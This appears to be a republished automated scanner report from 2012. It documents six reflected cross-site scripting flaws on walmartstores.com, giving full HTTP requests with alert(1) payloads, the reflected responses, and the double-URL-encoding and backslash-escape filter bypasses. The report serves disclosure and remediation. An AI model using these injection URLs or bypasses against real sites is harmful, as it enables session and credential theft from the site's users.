Report generated by HTI at Sat Sep 01 08:49:59 EDT 2012.

XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, www.walmartstores.com

Loading

1. Cross-site scripting (reflected)

1.1. http://walmartstores.com/Search/ [fd parameter]

1.2. http://walmartstores.com/Search/ [q parameter]

1.3. http://walmartstores.com/Search/ [q parameter]

1.4. http://walmartstores.com/Search/ [t parameter]

1.5. http://walmartstores.com/Search/ [t parameter]

1.6. http://walmartstores.com/error.aspx [aspxerrorpath parameter]



1. Cross-site scripting (reflected)
There are 6 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organization. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organization which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organization in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://walmartstores.com/Search/ [fd parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://walmartstores.com
Path:   /Search/

Issue detail

The value of the fd request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 25543%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e4356828b406 was submitted in the fd parameter. This input was echoed as 25543"><script>alert(1)</script>4356828b406 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of the fd request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Search/?q=shareholder+meeting%202012%20location%20phone%20contact&t=a&p=1&s=r&fd=a25543%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e4356828b406&fa=p HTTP/1.1
Host: walmartstores.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://walmartstores.com/CommunityGiving/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ihtfontsize=1; s_vi=[CS]v1|277E4A048515893F-40000175E000365C[CE]; s_cc=true; s_sq=%5B%5BB%5D%5D
Content-Length: 10


Response

HTTP/1.1 200 OK
Cache-Control: public, max-age=300
Content-Type: text/html; charset=utf-8
Expires: Thu, 29 Dec 2011 16:29:46 GMT
Last-Modified: Thu, 29 Dec 2011 16:24:46 GMT
Vary: *
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Node: wweb1b
Date: Thu, 29 Dec 2011 16:24:46 GMT
Content-Length: 24363


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head id="ctl00_hdMaster"
...[SNIP]...
_cphContent_txtSearchTop').val('shareholder meeting 2012 locate phone contact'); $('#ctl00_cphContent_txtSearchBottom').val('shareholder meeting 2012 locate phone contact'); RefineSearch('a','1','r','a25543"><script>alert(1)</script>4356828b406','','','',''); return false;">
...[SNIP]...

1.2. http://walmartstores.com/Search/ [q parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://walmartstores.com
Path:   /Search/

Issue detail

The value of the q request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a6420\"%3balert(1)//8c130b91edf was submitted in the q parameter. This input was echoed as a6420\\";alert(1)//8c130b91edf in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.

Request

GET /Search/?q=shareholder+meeting%202012%20location%20phone%20contacta6420\"%3balert(1)//8c130b91edf&t=a&p=1&s=r&fd=a&fa=p HTTP/1.1
Host: walmartstores.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://walmartstores.com/CommunityGiving/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ihtfontsize=1; s_vi=[CS]v1|277E4A048515893F-40000175E000365C[CE]; s_cc=true; s_sq=%5B%5BB%5D%5D
Content-Length: 10


Response

HTTP/1.1 200 OK
Cache-Control: public, max-age=300
Content-Type: text/html; charset=utf-8
Expires: Thu, 29 Dec 2011 16:29:26 GMT
Last-Modified: Thu, 29 Dec 2011 16:24:26 GMT
Vary: *
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Node: wweb1b
Date: Thu, 29 Dec 2011 16:24:26 GMT
Content-Length: 22453


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head id="ctl00_hdMaster"
...[SNIP]...
<!--
s.pageName = "Search";
s.prop7 = "shareholder meeting 2012 location phone contacta6420\\";alert(1)//8c130b91edf";
s.prop22 = "All Results";
s.prop10 = "Search";
s.prop17 = "walmartstores.com";
s.prop21 = g_customProp21;
/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/
var s_code=s.t(
...[SNIP]...

1.3. http://walmartstores.com/Search/ [q parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://walmartstores.com
Path:   /Search/

Issue detail

The value of the q request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d248c%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e59f8ddf662 was submitted in the q parameter. This input was echoed as d248c"><script>alert(1)</script>59f8ddf662 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of the q request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Search/?q=shareholder+meeting%202012%20location%20phone%20contactd248c%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e59f8ddf662&t=a&p=1&s=r&fd=a&fa=p HTTP/1.1
Host: walmartstores.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://walmartstores.com/CommunityGiving/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ihtfontsize=1; s_vi=[CS]v1|277E4A048515893F-40000175E000365C[CE]; s_cc=true; s_sq=%5B%5BB%5D%5D
Content-Length: 10


Response

HTTP/1.1 200 OK
Cache-Control: public, max-age=300
Content-Type: text/html; charset=utf-8
Expires: Thu, 29 Dec 2011 16:29:20 GMT
Last-Modified: Thu, 29 Dec 2011 16:24:20 GMT
Vary: *
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Node: wweb1b
Date: Thu, 29 Dec 2011 16:24:19 GMT
Content-Length: 22615


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head id="ctl00_hdMaster"
...[SNIP]...
<a href="javascript:void(0);" onclick="$('#ctl00_cphContent_txtSearchTop').val('shareholder meeting 2012 locate phone contactd248c"><script>alert(1)</script>59f8ddf662'); $('#ctl00_cphContent_txtSearchBottom').val('shareholder meeting 2012 locate phone contactd248c">
...[SNIP]...

1.4. http://walmartstores.com/Search/ [t parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://walmartstores.com
Path:   /Search/

Issue detail

The value of the t request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fff80%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e5e8bbb13758 was submitted in the t parameter. This input was echoed as fff80"><script>alert(1)</script>5e8bbb13758 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of the t request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Search/?q=shareholder+meeting%202012%20location%20phone%20contact&t=afff80%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e5e8bbb13758&p=1&s=r&fd=a&fa=p HTTP/1.1
Host: walmartstores.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://walmartstores.com/CommunityGiving/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ihtfontsize=1; s_vi=[CS]v1|277E4A048515893F-40000175E000365C[CE]; s_cc=true; s_sq=%5B%5BB%5D%5D
Content-Length: 10


Response

HTTP/1.1 200 OK
Cache-Control: public, max-age=300
Content-Type: text/html; charset=utf-8
Expires: Thu, 29 Dec 2011 16:29:51 GMT
Last-Modified: Thu, 29 Dec 2011 16:24:51 GMT
Vary: *
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Node: Web2b
Date: Thu, 29 Dec 2011 16:24:51 GMT
Content-Length: 24619


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head id="ctl00_hdMaster"
...[SNIP]...
k="$('#ctl00_cphContent_txtSearchTop').val('shareholder meeting 2012 locate phone contact'); $('#ctl00_cphContent_txtSearchBottom').val('shareholder meeting 2012 locate phone contact'); RefineSearch('afff80"><script>alert(1)</script>5e8bbb13758','1','r','a','','','',''); return false;">
...[SNIP]...

1.5. http://walmartstores.com/Search/ [t parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://walmartstores.com
Path:   /Search/

Issue detail

The value of the t request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8846e%2527%253balert%25281%2529%252f%252fa5dbceadb0b was submitted in the t parameter. This input was echoed as 8846e';alert(1)//a5dbceadb0b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of the t request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Search/?q=shareholder+meeting%202012%20location%20phone%20contact&t=a8846e%2527%253balert%25281%2529%252f%252fa5dbceadb0b&p=1&s=r&fd=a&fa=p HTTP/1.1
Host: walmartstores.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://walmartstores.com/CommunityGiving/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ihtfontsize=1; s_vi=[CS]v1|277E4A048515893F-40000175E000365C[CE]; s_cc=true; s_sq=%5B%5BB%5D%5D
Content-Length: 10


Response

HTTP/1.1 200 OK
Cache-Control: public, max-age=300
Content-Type: text/html; charset=utf-8
Expires: Thu, 29 Dec 2011 16:29:33 GMT
Last-Modified: Thu, 29 Dec 2011 16:24:33 GMT
Vary: *
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Node: wweb1b
Date: Thu, 29 Dec 2011 16:24:33 GMT
Content-Length: 24365


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head id="ctl00_hdMaster"
...[SNIP]...
<script type="text/javascript">
var g_tab = 'a8846e';alert(1)//a5dbceadb0b';
var g_collection = 'all_collection';
</script>
...[SNIP]...

1.6. http://walmartstores.com/error.aspx [aspxerrorpath parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://walmartstores.com
Path:   /error.aspx

Issue detail

The value of the aspxerrorpath request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bb3e4"%3balert(1)//370b9f16376 was submitted in the aspxerrorpath parameter. This input was echoed as bb3e4";alert(1)//370b9f16376 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /error.aspx?aspxerrorpath=/Svc/Search.aspx/GetGsaSuggestionsbb3e4"%3balert(1)//370b9f16376 HTTP/1.1
x-requested-with: XMLHttpRequest
Accept-Language: en-us
Referer: http://walmartstores.com/Search/?q=shareholder+meeting%202012%20location%20phone%20contacta6420\"%3balert(document.location)//8c130b91edf&t=a&p=1&s=r&fd=a&fa=p
Accept: application/json, text/javascript, */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: walmartstores.com
Proxy-Connection: Keep-Alive
Cookie: ihtfontsize=1; s_cc=true; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|277E4CED05162A31-40000198C000883F[CE]
Content-Length: 10


Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-UA-Compatible: IE=8
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Node: wweb1b
Date: Thu, 29 Dec 2011 17:19:43 GMT
Content-Length: 10339


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head id="ctl00_hdMaster"
...[SNIP]...
<!--
s.pageName = "";
s.prop18 = "/Svc/Search.aspx/GetGsaSuggestionsbb3e4";alert(1)//370b9f16376"
s.prop17 = "walmartstores.com";
s.prop21 = g_customProp21;
/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/
var s_code=s.t();if(s_code)document.write(s_code)//-->
...[SNIP]...

Report generated by HTI at Sat Sep 01 08:49:59 EDT 2012.